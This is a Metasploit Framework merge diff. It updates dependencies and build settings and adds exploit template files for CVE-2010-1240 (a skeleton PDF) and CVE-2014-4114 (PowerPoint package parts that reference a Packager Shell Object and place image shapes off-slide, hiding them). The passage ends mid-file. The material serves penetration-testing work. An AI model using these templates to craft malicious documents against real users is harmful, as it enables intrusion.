Land #4149, readline adjustments

* Windows guard, DRYing

.gitignore

@@ -7,6 +7,12 @@ Gemfile.local.lock
 .sublime-project
 # RVM control file, keep this to avoid backdooring Metasploit
 .rvmrc
+# Allow for a local choice of (unsupported / semi-supported) ruby versions
+# See PR #4136 for usage, but example usage for rvm:
+#   rvm --create --versions-conf use 2.1.4@metasploit-framework
+# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
+#   rbenv shell 2.1.4
+.versions.conf
 # YARD cache directory
 .yardoc
 # Mac OS X files

.rspec

@@ -1,2 +1,3 @@
 --color
 --format Fivemat
+--require spec_helper

.ruby-version

@@ -1 +1 @@
-1.9.3-p547
+1.9.3-p550

.travis.yml

@@ -1,7 +1,8 @@
 env:
   - RAKE_TASK=cucumber
   - RAKE_TASK=cucumber:boot
-  - RAKE_TASK=spec
+  - RAKE_TASK=spec SPEC_OPTS="--tag content"
+  - RAKE_TASK=spec SPEC_OPTS="--tag ~content"
 
 language: ruby
 before_install:
@@ -22,8 +23,8 @@ before_script:
 script: "bundle exec rake $RAKE_TASK"
 
 rvm:
-  #- '1.8.7'
   - '1.9.3'
+  - '2.1'
 
 notifications:
   irc: "irc.freenode.org#msfnotify"

COPYING

@@ -1,4 +1,4 @@
-Copyright (C) 2006-2013, Rapid7, Inc.
+Copyright (C) 2006-2014, Rapid7, Inc.
 All rights reserved.
 
 Redistribution and use in source and binary forms, with or without modification,

Gemfile

@@ -8,9 +8,9 @@ group :db do
   gem 'activerecord', '>= 3.0.0', '< 4.0.0'
 
   # Metasploit::Credential database models
-  gem 'metasploit-credential', '~> 0.10.1'
+  gem 'metasploit-credential', '~> 0.12.0'
   # Database models shared between framework and Pro.
-  gem 'metasploit_data_models', '~> 0.20.1'
+  gem 'metasploit_data_models', '~> 0.21.1'
   # Needed for module caching in Mdm::ModuleDetails
   gem 'pg', '>= 0.11'
 end
@@ -39,7 +39,7 @@ group :development, :test do
   gem 'rspec', '>= 2.12', '< 3.0.0'
   # Define `rake spec`.  Must be in development AND test so that its available by default as a rake test when the
   # environment is development
-  gem 'rspec-rails' , '>= 2.12', '< 3.0.0' 
+  gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
 end
 
 group :pcap do

Gemfile.lock

@@ -7,13 +7,15 @@ PATH
       bcrypt
       jsobfu (~> 0.2.0)
       json
-      metasploit-concern (~> 0.2.1)
-      metasploit-model (~> 0.27.1)
-      meterpreter_bins (= 0.0.7)
+      metasploit-concern (~> 0.3.0)
+      metasploit-model (~> 0.28.0)
+      meterpreter_bins (= 0.0.10)
       msgpack
       nokogiri
       packetfu (= 1.1.9)
       railties
+      rb-readline
+      recog (~> 1.0)
       robots
       rubyzip (~> 1.1)
       sqlite3
@@ -56,7 +58,7 @@ GEM
       childprocess (>= 0.3.6)
       cucumber (>= 1.1.1)
       rspec-expectations (>= 2.7.0)
-    bcrypt (3.1.7)
+    bcrypt (3.1.9)
     builder (3.0.4)
     capybara (2.4.1)
       mime-types (>= 1.16)
@@ -91,39 +93,40 @@ GEM
     hike (1.2.3)
     i18n (0.6.11)
     journey (1.0.4)
-    jsobfu (0.2.0)
+    jsobfu (0.2.1)
       rkelly-remix (= 0.0.6)
     json (1.8.1)
     mail (2.5.4)
       mime-types (~> 1.16)
       treetop (~> 1.4.8)
-    metasploit-concern (0.2.1)
+    metasploit-concern (0.3.0)
       activesupport (~> 3.0, >= 3.0.0)
       railties (< 4.0.0)
-    metasploit-credential (0.10.1)
-      metasploit-concern (~> 0.2.1)
-      metasploit-model (~> 0.27.0)
-      metasploit_data_models (~> 0.20.0)
+    metasploit-credential (0.12.0)
+      metasploit-concern (~> 0.3.0)
+      metasploit-model (~> 0.28.0)
+      metasploit_data_models (~> 0.21.0)
       pg
       railties (< 4.0.0)
       rubyntlm
       rubyzip (~> 1.1)
-    metasploit-model (0.27.1)
+    metasploit-model (0.28.0)
       activesupport
       railties (< 4.0.0)
-    metasploit_data_models (0.20.1)
+    metasploit_data_models (0.21.1)
       activerecord (>= 3.2.13, < 4.0.0)
       activesupport
       arel-helpers
-      metasploit-concern (~> 0.2.1)
-      metasploit-model (~> 0.27.0)
+      metasploit-concern (~> 0.3.0)
+      metasploit-model (~> 0.28.0)
       pg
       railties (< 4.0.0)
-    meterpreter_bins (0.0.7)
+      recog (~> 1.0)
+    meterpreter_bins (0.0.10)
     method_source (0.8.2)
     mime-types (1.25.1)
     mini_portile (0.6.0)
-    msgpack (0.5.8)
+    msgpack (0.5.9)
     multi_json (1.0.4)
     network_interface (0.0.1)
     nokogiri (1.6.3.1)
@@ -159,8 +162,11 @@ GEM
       rdoc (~> 3.4)
       thor (>= 0.14.6, < 2.0)
     rake (10.3.2)
+    rb-readline (0.5.1)
     rdoc (3.12.2)
       json (~> 1.4)
+    recog (1.0.0)
+      nokogiri
     redcarpet (3.1.2)
     rkelly-remix (0.0.6)
     robots (0.10.1)
@@ -218,9 +224,9 @@ DEPENDENCIES
   factory_girl (>= 4.1.0)
   factory_girl_rails
   fivemat (= 1.2.1)
-  metasploit-credential (~> 0.10.1)
+  metasploit-credential (~> 0.12.0)
   metasploit-framework!
-  metasploit_data_models (~> 0.20.1)
+  metasploit_data_models (~> 0.21.1)
   network_interface (~> 0.0.1)
   pcaprub
   pg (>= 0.11)

Rakefile

@@ -1,6 +1,7 @@
 #!/usr/bin/env rake
 require File.expand_path('../config/application', __FILE__)
 require 'metasploit/framework/require'
+require 'metasploit/framework/spec/untested_payloads'
 
 # @note must be before `Metasploit::Framework::Application.load_tasks`
 #
@@ -9,3 +10,4 @@ require 'metasploit/framework/require'
 Metasploit::Framework::Require.optionally_active_record_railtie
 
 Metasploit::Framework::Application.load_tasks
+Metasploit::Framework::Spec::UntestedPayloads.define_task

data/exploits/CVE-2010-1240/template.pdf

@@ -0,0 +1,55 @@
+%PDF-1.0
+1 0 obj
+<<
+	/Pages 2 0 R
+	/Type /Catalog
+>>
+endobj
+2 0 obj
+<<
+	/Count 1
+	/Kids [ 3 0 R ]
+	/Type /Pages
+>>
+endobj
+3 0 obj
+<<
+	/Contents 4 0 R
+	/Parent 2 0 R
+	/Resources <<
+		/Font <<
+			/F1 <<
+				/Type /Font
+				/Subtype /Type1
+				/BaseFont /Helvetica
+				/Name /F1
+			>>
+		>>
+	>>
+	/Type /Page
+	/MediaBox [ 0 0 795 842 ]
+>>
+endobj
+4 0 obj
+<<
+	/Length 0
+>>stream
+
+endstream
+endobj
+xref
+0 5
+0000000000 65535 f
+0000000010 00000 n
+0000000067 00000 n
+0000000136 00000 n
+0000000373 00000 n
+trailer
+<<
+	/Root 1 0 R
+	/Size 5
+	/Info 0 0 R
+>>
+startxref
+429
+%%EOF

data/exploits/CVE-2014-4114/template/[Content_Types].xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Default Extension="wmf" ContentType="image/x-wmf"/><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Default Extension="vml" ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing"/><Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml"/><Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/><Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/><Override PartName="/ppt/presProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presProps+xml"/><Override PartName="/ppt/viewProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.viewProps+xml"/><Override PartName="/ppt/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/ppt/tableStyles.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.tableStyles+xml"/><Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout3.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout4.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout5.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout6.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout7.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout8.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout9.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout10.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout11.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

data/exploits/CVE-2014-4114/template/_rels/.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/docProps/app.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template></Template><TotalTime>37</TotalTime><Words>2</Words><Application>Microsoft Office PowerPoint</Application><PresentationFormat>On-screen Show (4:3)</PresentationFormat><Paragraphs>2</Paragraphs><Slides>1</Slides><Notes>0</Notes><HiddenSlides>0</HiddenSlides><MMClips>0</MMClips><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="8" baseType="variant"><vt:variant><vt:lpstr>Fonts Used</vt:lpstr></vt:variant><vt:variant><vt:i4>2</vt:i4></vt:variant><vt:variant><vt:lpstr>Theme</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Embedded OLE Servers</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Slide Titles</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="5" baseType="lpstr"><vt:lpstr>Arial</vt:lpstr><vt:lpstr>Calibri</vt:lpstr><vt:lpstr>Office Theme</vt:lpstr><vt:lpstr>Packager Shell Object</vt:lpstr><vt:lpstr>Example</vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>15.0000</AppVersion></Properties>

data/exploits/CVE-2014-4114/template/docProps/core.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Example</dc:title><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>8</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2014-08-06T07:56:10Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2014-10-16T21:26:22Z</dcterms:modified></cp:coreProperties>

data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels

@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
+    <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/presProps" Target="presProps.xml" />
+    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml" />
+    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml" />
+    <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/tableStyles" Target="tableStyles.xml" />
+    <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml" />
+    <Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/viewProps" Target="viewProps.xml" />
+</Relationships>

data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels

@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
+    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image2.wmf" />
+    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.wmf" />
+</Relationships>

data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml

@@ -0,0 +1,37 @@
+<xml xmlns:v="urn:schemas-microsoft-com:vml"
+ xmlns:o="urn:schemas-microsoft-com:office:office"
+ xmlns:p="urn:schemas-microsoft-com:office:powerpoint"
+ xmlns:oa="urn:schemas-microsoft-com:office:activation">
+ <o:shapelayout v:ext="edit">
+  <o:idmap v:ext="edit" data="1"/>
+ </o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75"
+  o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
+  <v:stroke joinstyle="miter"/>
+  <v:formulas>
+   <v:f eqn="if lineDrawn pixelLineWidth 0"/>
+   <v:f eqn="sum @0 1 0"/>
+   <v:f eqn="sum 0 0 @1"/>
+   <v:f eqn="prod @2 1 2"/>
+   <v:f eqn="prod @3 21600 pixelWidth"/>
+   <v:f eqn="prod @3 21600 pixelHeight"/>
+   <v:f eqn="sum @0 0 1"/>
+   <v:f eqn="prod @6 1 2"/>
+   <v:f eqn="prod @7 21600 pixelWidth"/>
+   <v:f eqn="sum @8 21600 0"/>
+   <v:f eqn="prod @7 21600 pixelHeight"/>
+   <v:f eqn="sum @10 21600 0"/>
+  </v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
+  <o:lock v:ext="edit" aspectratio="t"/>
+ </v:shapetype><v:shape id="_x0000_s1032" type="#_x0000_t75" style='position:absolute;left:100pt;top:-100pt;width:30pt;height:30pt'>
+  <v:fill color="white" opacity="1" on="f" type="solid"/>
+  <v:stroke on="f"/>
+  <v:imagedata o:relid="rId1" o:title="" croptop="0" cropbottom="0" cropleft="0"
+   cropright="0" grayscale="f" bilevel="f"/>
+  <o:lock v:ext="edit" aspectratio="t" position="f" selection="f" grouping="f"/>
+ </v:shape><v:shape id="_x0000_s1033" type="#_x0000_t75" style='position:absolute;left:150pt;top:-100pt;width:30pt;height:30pt'>
+  <v:fill color="white" opacity="1" on="f" type="solid"/>
+  <v:stroke on="f"/>
+  <v:imagedata o:relid="rId2" o:title="" croptop="0" cropbottom="0" cropleft="0"
+   cropright="0" grayscale="f" bilevel="f"/>
+  <o:lock v:ext="edit" aspectratio="t" position="f" selection="f" grouping="f"/>
+ </v:shape></xml>

data/exploits/CVE-2014-4114/template/ppt/presProps.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:presentationPr xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:extLst><p:ext uri="{E76CE94A-603C-4142-B9EB-6D1370010A27}"><p14:discardImageEditData xmlns:p14="http://schemas.microsoft.com/office/powerpoint/2010/main" val="0"/></p:ext><p:ext uri="{D31A062A-798A-4329-ABDD-BBA856620510}"><p14:defaultImageDpi xmlns:p14="http://schemas.microsoft.com/office/powerpoint/2010/main" val="220"/></p:ext><p:ext uri="{FD5EFAAD-0ECE-453E-9831-46B23BE46B34}"><p15:chartTrackingRefBased xmlns:p15="http://schemas.microsoft.com/office/powerpoint/2012/main" val="0"/></p:ext></p:extLst></p:presentationPr>

data/exploits/CVE-2014-4114/template/ppt/presentation.xml

@@ -0,0 +1,121 @@
+<p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" saveSubsetFonts="1">
+    <p:sldMasterIdLst>
+        <p:sldMasterId id="2147483648" r:id="rId1" />
+    </p:sldMasterIdLst>
+    <p:sldIdLst>
+        <p:sldId id="256" r:id="rId2" />
+    </p:sldIdLst>
+    <p:sldSz cx="9144000" cy="6858000" type="screen4x3" />
+    <p:notesSz cx="6858000" cy="9144000" />
+    <p:defaultTextStyle>
+        <a:defPPr>
+            <a:defRPr lang="en-US" />
+        </a:defPPr>
+        <a:lvl1pPr marL="0" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl1pPr>
+        <a:lvl2pPr marL="457200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl2pPr>
+        <a:lvl3pPr marL="914400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl3pPr>
+        <a:lvl4pPr marL="1371600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl4pPr>
+        <a:lvl5pPr marL="1828800" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl5pPr>
+        <a:lvl6pPr marL="2286000" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl6pPr>
+        <a:lvl7pPr marL="2743200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl7pPr>
+        <a:lvl8pPr marL="3200400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl8pPr>
+        <a:lvl9pPr marL="3657600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+            <a:defRPr sz="1800" kern="1200">
+                <a:solidFill>
+                    <a:schemeClr val="tx1" />
+                </a:solidFill>
+                <a:latin typeface="+mn-lt" />
+                <a:ea typeface="+mn-ea" />
+                <a:cs typeface="+mn-cs" />
+            </a:defRPr>
+        </a:lvl9pPr>
+    </p:defaultTextStyle>
+    <p:extLst>
+        <p:ext uri="{EFAFB233-063F-42B5-8137-9DF3F51BA10A}">
+            <p15:sldGuideLst xmlns:p15="http://schemas.microsoft.com/office/powerpoint/2012/main">
+                <p15:guide id="1" orient="horz" pos="2160">
+                    <p15:clr>
+                        <a:srgbClr val="A4A3A4" />
+                    </p15:clr>
+                </p15:guide>
+                <p15:guide id="2" pos="2880">
+                    <p15:clr>
+                        <a:srgbClr val="A4A3A4" />
+                    </p15:clr>
+                </p15:guide>
+            </p15:sldGuideLst>
+        </p:ext>
+    </p:extLst>
+</p:presentation>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels

@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
+    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml" />
+</Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="title" preserve="1"><p:cSld name="Title Slide"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ctrTitle"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="685800" y="2130425"/><a:ext cx="7772400" cy="1470025"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Subtitle 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="subTitle" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1371600" y="3886200"/><a:ext cx="6400800" cy="1752600"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint 